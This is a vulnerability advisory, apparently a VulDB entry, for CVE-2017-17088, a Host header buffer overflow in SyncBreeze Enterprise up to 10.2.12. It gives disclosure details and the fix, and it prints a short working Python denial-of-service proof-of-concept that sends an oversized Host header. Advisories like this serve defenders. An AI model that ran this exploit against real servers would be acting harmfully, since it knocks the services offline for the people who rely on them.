SyncBreeze Enterprise up to 10.2.12 Server Request Host Header memory corruption

Summaryinfo

A vulnerability identified as critical has been detected in SyncBreeze Enterprise up to 10.2.12. This affects an unknown part of the component Server Request Handler. Performing a manipulation as part of Host Header results in memory corruption. This vulnerability is known as CVE-2017-17088. Remote exploitation of the attack is possible. Furthermore, an exploit is available. You should upgrade the affected component.

Detailsinfo

A vulnerability was found in SyncBreeze Enterprise up to 10.2.12. It has been classified as critical. This affects some unknown functionality of the component Server Request Handler. The manipulation as part of a Host Header leads to a memory corruption vulnerability. CWE is classifying the issue as CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. This is going to have an impact on confidentiality, integrity, and availability. The summary by CVE is:

The Enterprise version of SyncBreeze 10.2.12 and earlier is affected by a Remote Denial of Service vulnerability. The web server does not check bounds when reading server requests in the Host header on making a connection, resulting in a classic Buffer Overflow that causes a Denial of Service.

The bug was discovered 11/30/2017. The weakness was published 12/19/2017 by Manuel Garcia Cardenas as confirmed mailinglist post (Full-Disclosure). The advisory is shared at seclists.org. The public release has been coordinated with the project team. This vulnerability is uniquely identified as CVE-2017-17088 since 12/01/2017. The exploitability is told to be easy. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. Technical details are unknown but a public exploit is available.

A public exploit has been developed by Manuel Garcia Cardenas in Python and been published before and not just after the advisory. The exploit is shared for download at exploit-db.com. It is declared as highly functional. The vulnerability was handled as a non-public zero-day exploit for at least 6 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

#!/usr/bin/python
import sys, socket
 
host = sys.argv[1]
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: "+"A"*2000+"\r\n\r\n"
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
s.send(buffer)
s.close()

Upgrading to version 10.3 eliminates this vulnerability. The upgrade is hosted for download at syncbreeze.com. A possible mitigation has been published before and not just after the disclosure of the vulnerability.

The vulnerability is also documented in the vulnerability database at Exploit-DB (43344). If you want to get the best quality for vulnerability data then you always have to consider VulDB.

Productinfo

Name

• SyncBreeze Enterprise

Version

• 10.2.0
• 10.2.1
• 10.2.2
• 10.2.3
• 10.2.4
• 10.2.5
• 10.2.6
• 10.2.7
• 10.2.8
• 10.2.9
• 10.2.10
• 10.2.11
• 10.2.12

CPE 2.3info

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CPE 2.2info

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If you want to get the best quality for vulnerability data then you always have to consider VulDB.

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